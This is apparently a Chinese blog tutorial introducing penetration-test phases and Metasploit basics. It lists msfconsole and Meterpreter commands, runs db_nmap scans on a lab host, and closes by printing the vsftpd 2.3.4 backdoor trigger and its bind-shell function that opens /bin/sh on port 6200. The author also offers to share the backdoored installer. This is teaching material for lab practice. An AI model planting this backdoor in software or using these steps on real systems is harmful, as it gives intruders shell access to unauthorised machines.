【渗透测试】Metasploit从入门到精通(1)

Metasploit从入门到精通(1)

    • 前言
    • 渗透测试的各个阶段
      • 前期交互阶段
      • 信息收集/侦查阶段
      • 了解测试环境
        • 威胁建模阶段
        • 漏洞分析阶段
        • 渗透阶段和后渗透阶段
        • 报告阶段
    • 在虚拟环境安装Kali Linux
      • 安装VMWare16
      • 安装Kali Linux
    • Metasploit 基础
      • 使用 Metasploit 进行渗透测试
    • 使用 Metasploit 进行渗透测试的优势
    • 对未知网络的渗透测试
      • 假设
      • 信息收集
      • Metasploit 中使用数据库
      • 威胁建模
        • VSFTPD2.3.4笑脸漏洞


前言

渗透测试是一种有目的性的、针对目标机构计算机系统安全的检测评估方法。
渗透测试可以发现系统的漏洞和安全机制方面的隐患,并以此进行渗透攻击来取得目标计算机的控制权。
通过渗透测试可以知道目标机构的计算机系统是否易于受到攻击,现有的安全部署是否能妥善地抵御攻击,以及哪部分安全机制可能被绕过,等等。渗透测试的主要目的是改善目标机构的安全性。

渗透测试的各个阶段

前期交互阶段

作为渗透测试的第一个步骤,前期交互阶段将确定客户(可能是一个公司、机构或者网络)的渗透测试的关键细节。这一切都是在与客户进行商讨之后决定的。
这个阶段确定渗透测试的范围、目标以及代表客户进行测试时的特殊需求,例如特殊的权限、关键系统的访问许可等。

渗透测试的范围
这一部分需要确定渗透测试的范围并预估整个项目的工作量。同时要确定哪些目标在渗透测试范围内,哪些是不允许进行渗透测试的。
关于渗透范围的常规文档应该包含了如下问题的答案:

  • 目标组织最大的安全问题是什么?
  • 应该对哪些主机、网络地址范围或者应用程序进行测试?
  • 在测试时,应该将哪些主机、网络地址范围或者应用程序排除在测试范围之外?
  • 在测试范围内是否存在第三方系统或者网络?它们拥有了哪些系统?
  • 渗透测试是在现场实地环境中进行还是在虚拟测试环境中进行?
  • 渗透测试是否包括以下测试技术:使用ping对网络范围进行扫描、对目标主机进行端口扫描、对目标进行漏洞扫描、对目标进行渗透测试、应用程序级的操作、客户端Java/ActiveX逆向功能、物理渗透尝试、社会工程学。
  • 渗透测试是否包括内部网络测试?如果包括的话,如何获取权限?
  • 客户端/终端用户系统是否包含在测试范围内?如果包含的话,将会涉及多少客户?
  • 是否允许使用社会工程学手段?如果允许的话,如何使用?
  • 是否允许使用拒绝服务攻击?
  • 是否可以使用具有破坏性的检查手段和渗透模块?

渗透测试的目标
这一部分要商定本次渗透测试预期达到的主要和次要效果。
有关渗透目标的常见问题列举如下:

  • 这次渗透测试的商业需求是什么?
    • 出于审计和标准化的目的
    • 积极主动的内部决策以确定所有弱点
  • 目标是什么?
    • 列出目标的各种漏洞
    • 证明各种漏洞的存在
    • 测试各种事件响应
    • 对网络、系统或者应用程序漏洞的渗透模块开发
    • 以上全部

渗透测试用到的术语和定义
这一部分要向客户介绍整个测试过程中出现的专业术语和定义,以便客户能够更好地理解整个渗透测试工作。

渗透测试的规定
这一部分要商定完成渗透测试的工期,具体工作展开的进度表,渗透攻击的授权许可,以及定期召开会议以跟进渗透测试进程中出现的各种情况。
有关约定规则的常见问题列举如下:

  • 希望在什么时候执行这些测试?
    • 在工作时间
    • 下班之后
    • 在周末
    • 在系统维护期间
  • 这个测试是在生产环境下进行的吗?
  • 如果生产环境不能受到影响,是否存在类似的环境(开发或者测试系统)可以用来进行渗透测试?
  • 谁是技术要点的联系人?

信息收集/侦查阶段

在信息收集阶段,你需要尽可能采用各种方式来收集目标网络的所有信息。这个目标网络可能是互联网的一个网站,或者是一个社会性的组织,甚至可能是一个财力雄厚的老牌商业公司。
在这个阶段,最重要的是要通过各种社交媒体网络来收集相关信息,以及使用Google Hacking(一种使用特殊的查询方法通过Google搜索引擎收集敏感信息的方式)技术去寻找目标的相关信息。
另外,对目标使用主动扫描和被动扫描技术进行踩点(footprinting)也是一种可行的办法。
信息收集是整个渗透测试过程中最为重要的阶段之一。与尝试所有可行的渗透测试方法相比,对目标有适当的了解可以让测试者选择合适和准确的渗透测试攻击方式。

这一阶段涉及的步骤如下:

  • 目标选择
    选择攻击的目标,确定攻击达到的效果以及整个攻击过程花费的时间。
  • 隐私收集
    包括现场信息采集,检查使用的设备信息,甚至从丢弃的废品中收集信息。
  • 踩点工作
    包含针对目标的主动和被动扫描技术,例如网络端口扫描、banner获取等。
  • 验证目标的安全机制
    包含防火墙、网络流量过滤系统、网络和主机的保护措施的确认工作等。

了解测试环境

大多数时候,当渗透测试工程师开始进行渗透的时候,他们已经明确下一步要做什么了。这意味着如果他们看到一个Windows操作系统在运行,将会选择专门针对Windows操作系统的渗透模块(exploit)。

威胁建模阶段

为了保证我们的渗透测试能够正确进行,必须进行威胁建模。在这个阶段,主要的工作是模拟出对目标准确的威胁以及这些威胁的作用,并根据这些威胁可能对目标产生的影响对其进行分类。
根据之前在信息收集阶段作出的分析,在这个阶段我们可以确定最佳的攻击方式。
这一阶段将解决以下问题:

  • 如何攻击指定的网络?
  • 需要获得的重要信息是什么?
  • 在攻击时采取什么方法最为合适?
  • 对目标来说最大的安全威胁是什么?

漏洞分析阶段

漏洞分析是在一个系统或者一个应用程序中发现漏洞的过程。
这些漏洞多种多样,涵盖了很多方面,从服务器的配置到Web程序服务,从应用程序到数据库服务,从一个基于VOIP的服务器到基于SCADA的服务都可能存在漏洞。
在这个阶段包含了三个不同的机制,那就是测试、验证和研究。
测试包括主动测试和被动测试。验证包括去除误报和通过手动验证确认漏洞的存在。研究指的是发现并触发漏洞以确认它的存在。

渗透阶段和后渗透阶段

渗透攻击阶段可以利用之前漏洞分析阶段的成果。这个阶段一般被认为是真正的攻击阶段。在这个阶段,渗透测试者可以针对目标系统的漏洞使用对应的入侵模块获得控制权限。

报告阶段

在进行渗透测试时,创建整个渗透测试的正式报告是在最后一个阶段进行的。
渗透测试报告的重要组成部分包括:确定目标最为重要的威胁,将渗透得到的数据生成表格和图表,对目标系统的改进建议,以及这些问题的修复方案。

在虚拟环境安装Kali Linux

可以看看我的往期文章,有比较详细的安装方法。

Kali-Linux-2021.3保姆级安装教程【手把手教你安装Kali】
有任何问题也可以随时咨询博主,博主会根据自己的经验和知识讲讲自己的看法。如果是想要资料或者看的书也可以私信博主。

在开始使用Metasploit之前,需要有一个测试用的实验环境。建立这种环境最好的办法就是拥有数目众多的计算机,同时在这些计算机上安装不同的操作系统。然而,如果只有一台计算机的话,最好的办法就是建立一个虚拟的实验环境。

虚拟化技术在如今的渗透测试中扮演了十分重要的角色。由于硬件设备的价格相对昂贵,采用虚拟化技术可以使得渗透测试经济有效。在一台计算机上模拟出多个操作系统不仅可以节省大量成本,同时也降低了电力的使用和空间的占用。建立一个虚拟化的渗透测试环境可以避免对你的真实主机系统进行任何修改,并使得我们的所有操作都在一个独立的环境中进行。虚拟化的网络环境允许你的渗透测试在一个独立的虚拟网络中运行,从而无须使用或者修改主机系统的网络硬件。

安装VMWare16

VMWare 官方网站

安装Kali Linux

Kali Linux 官方网站

Metasploit 基础

Metasploit是一种安全框架,为渗透测试工程师提供了大量的渗透模块和扫描模块。
2003年H.D Moore创建了Metasploit,从那之后Metasploit便快速发展起来,如今被公认是最为流行的渗透测试工具之一。
Metasploit是一个完全的Ruby驱动项目,提供了大量的漏洞渗透、攻击载荷(payload)、编码技术以及后渗透模块。
Metasploit提供了以下多种版本:

  • Metasploit提供了以下多种版本
    这是Metasploit的一个商业化版本,提供了大量的功能,例如Web应用程序扫描工具、杀毒软件绕过工具、自动化渗透工具,十分适合专业渗透测试工程师和IT安全团队使用。Pro版通常用来实现高级渗透测试和企业安全项目。

  • Metasploit Express版
    这是一个为初级渗透测试工程师设计的版本。这个版本中的Metasploit包含了智能化渗透、密码的自动化暴力破解等功能,十分适合中小型企业的IT安全团队使用。

  • Metasploit Community版
    这是Metasploit Express精简后的免费版本。对于小企业和学生来说这是一个不错的选择。

  • Metasploit Framework版
    这是一个完全在命令行中运行的版本。这个版本的所有任务都在命令行下完成,比如说手工渗透、第三方模块导入等。该版本适合开发人员和安全研究人员。

  • GUI(Graphical User Interface)界面
    在图形化工作模式下,往往轻点一下鼠标就能完成所有的任务。这种工作方式提供了友好的操作模式和简单快捷的漏洞管理方式。

  • 控制台界面
    最为普遍也最为流行的工作方式。这种界面提供了一种统一的工作方式来管理Metasploit的所有功能。这种管理方法通常也被认为是最稳定的控制方法之一。

  • 命令行界面
    命令行界面是功能最为强大的界面,它支持对渗透模块的所有操作(例如攻击载荷的生成)。

  • Armitage
    Armitage是Raphael Mudge编写的一个充满了黑客风格的GUI界面。Armitage提供轻松的漏洞管理、内置的NMAP扫描和渗透攻击推荐,并通过使用Cortana脚本实现自动化功能。

使用 Metasploit 进行渗透测试

运行Metasploit

su root
Password: [Your Password]
sudo msfconsole

【渗透测试】Metasploit从入门到精通(1)_第1张图片
成功运行Metasploit之后,就可以在Metasploit的命令控制台上键入help命令,Metasploit会列出所有可以使用的命令。

Metasploit中使用的基本术语:

  • 渗透模块(exploit)
    这是一段程序,运行时会利用目标的安全漏洞进行攻击。
  • 攻击载荷模块(payload)
    在成功对目标完成一次渗透之后,这段程序开始在目标计算机上运行。它能帮助我们在目标系统上获得需要的访问和行动权限。
  • 辅助模块(auxiliary)
    包含了一系列的辅助支持模块,包括扫描模块、fuzz测试漏洞发掘模块、网络协议欺骗以及其他一些模块。
  • 编码器模块(encoder)
    编码器模块通常用来对我们的攻击模块进行代码混淆,来逃过目标安全保护机制的检测。
  • Meterpreter
    Meterpreter是一种使用内存技术的攻击载荷,可以注入到进程之中。

Metasploit的基本命令

命令 用法 示例
use [Auxiliary/Exploit/ Payload/Encoder] 选择一个指定的模块并使其开始工作 msf> use exploit/unix/ftp/vsftpd_234_backdoor
show [exploits/payloads/ encoder/auxiliary/options] 显示可用的特定功能的模块 msf> show payloads
set [options/payload] 给某个特定对象赋值 msf> set payload windows/meterpreter/reverse_tcp
setg [options/payload] 给某个对象赋值的同时设定作用域为全局,在模块进行切换的时候,该对象的值不会被改变 msf> setg RHOST 192.168.10.112
Run 在设置一个辅助模块需要的所有选项之后,启动该辅助模块 msf> run
exploit 启动一个渗透模块 msf> exploit
back 取消当前选择的模块并且退回到上一级命令窗口 msf(ms08_067_netapi)> back
Info 列出相关模块的信息 msf> info exploit/windows/smb/ms08_067_netapi
Search 搜索符合条件的特定模块 msf> search hfs
check 检查某个特定目标是否易受攻击 msf> check
Sessions 列出当前可用的会话 msf> sessions [session number]

Meterpreter的一些命令

命令 用途 示例
sysinfo 列出被渗透主机的系统信息 meterpreter> sysinfo
ifconfig 列出被渗透主机的网络接口 meterpreter> ifconfig
Arp 列出目标主机 ARP缓存地址的 IP地址和 MAC 地址 meterpreter> arp
background 将一个处于激活状态的会话发送到后台 meterpreter> background
shell 获取目标主机的一个 cmd shell meterpreter> shell
getuid 获取当前用户细节 meterpreter> getuid
getsystem 提升权限,获取系统级权限 meterpreter> getsystem
getpid 获取 Meterpreter 会话在目标主机上注入进程的进程号 meterpreter> getpid
ps 列出目标主机上运行的所有进程 meterpreter> ps

使用 Metasploit 进行渗透测试的优势

  • 源代码的开放性
    选择Metasploit的主要理由之一就是其源代码的开放性以及积极快速的发展。世界上还有许多非常优秀的商业版渗透测试工具,但是Metasploit对用户开放它的源代码,并且允许用户添加自己的自定义模块。
  • 对大型网络测试的支持以及便利的命名规则
    Metasploit框架十分易用,不过这里的易用性是指Metasploit中命令的简单命名约定。它为执行大规模的网络渗透测试提供了便利。
  • 灵活的攻击载荷模块生成和切换机制
    最为重要的是,在Metasploit中切换攻击载荷模块十分容易——它提供了set payload命令来快速切换攻击载荷模块。因而在Metasploit中从Meterpreter终端或者shell控制行可以十分简单地转换到具体的操作,例如添加一个用户,获得远程桌面控制。
  • 干净的通道建立方式
    Metasploit可以在目标计算机上不留痕迹地建立控制通道,而一个自定义编码的渗透模块在建立控制通道时却可能会引起系统的崩溃。
  • 图形化管理界面
    Metasploit提供了一个漂亮的图形化管理界面,另外也对第三方图形化管理软件(例如Armitage)提供了管理界面。这些界面极大地简化了渗透测试的工作。

对未知网络的渗透测试

假设

假设要对一个未知网络进行黑盒测试,并且已经完成了前期交互阶段的工作。测试范围是一个单独的IP地址,事先我们没有得到该目标IP地址的任何相关信息。

信息收集

正如前文所介绍的那样,在信息收集阶段应该围绕着目标收集尽可能多的相关信息。主动扫描和被动扫描包括了端口扫描、banner获取,以及根据被测试的目标特点选择的各种其他扫描方式。
NMAP被证明是最适合进行内部目标踩点的工具之一。由NMAP生成的报告可以轻松地导入到Metasploit中。Metasploit内置了数据库功能,利用这个功能我们就能在Metasploit中执行NMAP扫描,并将扫描结果存储在数据库中。

Metasploit 中使用数据库

Metasploit与数据库建立连接可以加快搜索的速度,缩短响应的时间。
初始化数据库

sudo service postgresql start
sudo msfdb init
[i] Database already started
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema

使用

sudo msfconsole

【渗透测试】Metasploit从入门到精通(1)_第2张图片
查看数据库服务状态

msf6 > db_status
[*] Connected to msf. Connection type: postgresql.

上面这条命令用来检查是否与数据库建立了连接,以及该数据库是否做好了保存扫描结果的准备。上图显示已经与数据库建立了连接,而且它会保存所有的结果。

数据库命令

命令 用途
db_connect 用来与默认数据库之外的数据库交互
db_export 用来将数据库中保存的数据导出,用来生成测试报告或者用来导入到其他安全工具中
db_nmap 用来使用NMAP软件对目标进行扫描,并将结果保存到Metasploit的数据库中
db_status 用来检查是否建立了与数据库的连接
db_disconnect 用来从指定的数据库中断开
db_import 用来向数据库中导入来自其他扫描工具(例如Nessus、NMAP等)的扫描结果
db_rebuild_cache 用来重新建立缓存,主要目的是使用新的配置替代之前缓存文件中错误或者过时的配置

现在我们已经了解了与数据库相关的命令,接下来就在目标上执行一次NMAP扫描。

执行nmap
事先声明博主环境

攻击者IP:192.168.184.122
靶机IP:192.168.184.120

msf6 > db_nmap -sV -p 21,22,25,80,110,443,445 192.168.184.120

【渗透测试】Metasploit从入门到精通(1)_第3张图片
在上面的截图中,我们使用db_nmap命令将所有结果自动保存在Metasploit的数据库中。截图最上方的那条命令使用了-sV参数,这表示NMAP要对目标主机的服务进行扫描,参数-P表示要对目标的端口进行扫描。
使用services命令可以列出在目标端口上运行的服务。
【渗透测试】Metasploit从入门到精通(1)_第4张图片在目标计算机上运行着大量的服务。可以使用services –u命令对当前运行的服务进行过滤。

【渗透测试】Metasploit从入门到精通(1)_第5张图片
使用db_nmap的-O参数可以获取目标主机的系统banner。

msf6 > db_nmap -O 192.168.184.120

【渗透测试】Metasploit从入门到精通(1)_第6张图片

也可以使用hosts命令列出数据库中所有的主机。

在这里插入图片描述

威胁建模

通过信息收集,可知目标计算机上运行着大量服务。主机信息也告诉我们目标的操作系统是基于Linux的。现在在Metasploit中查找一个漏洞对应的渗透模块。
我们可以在Metasploit找到对应服务的漏洞的渗透模块,然后展开渗透。

VSFTPD2.3.4笑脸漏洞

这是一个比较有名的漏洞,复现教程网络上到处都是,一个13年的老漏洞了,现在官方已经对2.3.4版本进行了修复,如果要复现的话注意选择的安装包。

如果找不到VSFTPD2.3.4含笑脸漏洞安装包也可以私信博主。

笑脸漏洞原理
对VSFTPD 2.3.4的攻击其实就是通过向21端口发送一个特定字节的序列来触发恶意的vsf_sysutil_extra();函数。一旦成功执行,就会在系统的6200端口打开一个后门。
漏洞代码

else if((p_str->p_buf[i]==0x3a))
&& (p_str->p_buf[i+1]==0x29)
{
	vsf_sysutil_extra();
}

代码分析
可以清楚地看到,如果网络缓冲区中的字节与后门序列中的0x3a(就是:)和0x29相匹配,那么恶意的函数就会被触发。
整个函数如下:

-int
-vsf_sysutil_extra(void)
-{
-  int fd, rfd;
-  struct sockaddr_in sa;
-  if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
-  exit(1); 
-  memset(&sa, 0, sizeof(sa));
-  sa.sin_family = AF_INET;
-  sa.sin_port = htons(6200);
-  sa.sin_addr.s_addr = INADDR_ANY;
-  if((bind(fd,(struct sockaddr *)&sa,
-  sizeof(struct sockaddr))) < 0) exit(1);
-  if((listen(fd, 100)) == -1) exit(1);
-  for(;;)
-  { 
-    rfd = accept(fd, 0, 0);
-    close(0); close(1); close(2);
-    dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
-    execl("/bin/sh","sh",(char *)0); 
-  } 
-}

详细代码可以去pastebin查看

sa.sin_port=6200将6200作为后门服务的端口,通过execl(“/bin/sh”,“sh”,(char *)0);语句执行发送到目标服务的命令。

你可能感兴趣的:(渗透测试,网络,安全,web安全,网络安全,网络协议)